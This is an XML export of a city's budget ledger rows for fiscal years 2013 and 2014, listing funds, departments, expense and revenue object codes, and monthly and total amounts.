<row _id="4441"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-56000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-56000.0</total></row>
<row _id="4442"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579961.0</object><object_description>BBB-GEN FUND REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-439605</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-439605.0</total></row>
<row _id="4443"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>407691.0</object><object_description>TAXI FRANCHISE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-33600</april><may>0</may><june>-321400.0</june><total>-355000.0</total></row>
<row _id="4444"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>413.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>413.0</total></row>
<row _id="4445"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522520.0</object><object_description>LEGAL ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>63000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>63000.0</total></row>
<row _id="4446"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1700.0</total></row>
<row _id="4447"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3152.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3152.0</total></row>
<row _id="4448"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="4449"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>162000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>162000.0</total></row>
<row _id="4450"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>24000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24000.0</total></row>
<row _id="4451"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>401190.0</object><object_description>CDBG PR YR ALLOCATION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-500000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-500000.0</total></row>
<row _id="4452"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577760.0</object><object_description>CDBG REIMB-HOUSING &amp; ECON DEV</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>92000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>92000.0</total></row>
<row _id="4453"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>400260.0</object><object_description>PROP K TORCA CONVERSION TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-80000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-80000.0</total></row>
<row _id="4454"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401290.0</object><object_description>POLICE-MOVIE JOBS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-418200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-418200.0</total></row>
<row _id="4455"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17000.0</total></row>
<row _id="4456"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1300.0</total></row>
<row _id="4457"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="4458"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>233456.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>233456.0</total></row>
<row _id="4459"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5100.0</total></row>
<row _id="4460"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>126735.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>126735.0</total></row>
<row _id="4461"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2100.0</total></row>
<row _id="4462"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8075.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8075.0</total></row>
<row _id="4463"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>566470.0</object><object_description>TRAFFIC SIGNAL MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>120300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>120300.0</total></row>
<row _id="4464"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2696360.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2696360.0</total></row>
<row _id="4465"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2051.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2051.0</total></row>
<row _id="4466"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3652.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3652.0</total></row>
<row _id="4467"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>402380.0</object><object_description>SELF-INSURANCE, GEN LIAB/AUTO</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-3000000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3000000.0</total></row>
<row _id="4468"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522010.0</object><object_description>PAYMENT OF CLAIMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1550000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1550000.0</total></row>
<row _id="4469"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>900000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>900000.0</total></row>
<row _id="4470"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="4471"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2094.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2094.0</total></row>
<row _id="4472"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="4473"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577720.0</object><object_description>CDBG REIMB-HUMAN SVC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>59500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>59500.0</total></row>
<row _id="4474"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400730.0</object><object_description>CA VEHICLE CODE FINES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2014</fiscal_year><july>-480000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-480000.0</total></row>
<row _id="4475"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>404000.0</object><object_description>STC PROGRAM</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-5600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5600.0</total></row>
<row _id="4476"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>22</fund_id><fund_name>COPS Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400750.0</object><object_description>INT DEP/INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-2300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2300.0</total></row>
<row _id="4477"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>22</fund_id><fund_name>COPS Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>405810.0</object><object_description>COPS - PER CAPITA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-255473.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-255473.0</total></row>
<row _id="4478"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>82535.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>82535.0</total></row>
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<row _id="4480"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>36031.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>36031.0</total></row>
<row _id="4481"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>800.0</total></row>
<row _id="4482"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>577410.0</object><object_description>SITE IMPROVEMENTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4483"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>400.0</total></row>
<row _id="4484"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="4485"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2700.0</total></row>
<row _id="4486"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3781.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3781.0</total></row>
<row _id="4487"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15727.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15727.0</total></row>
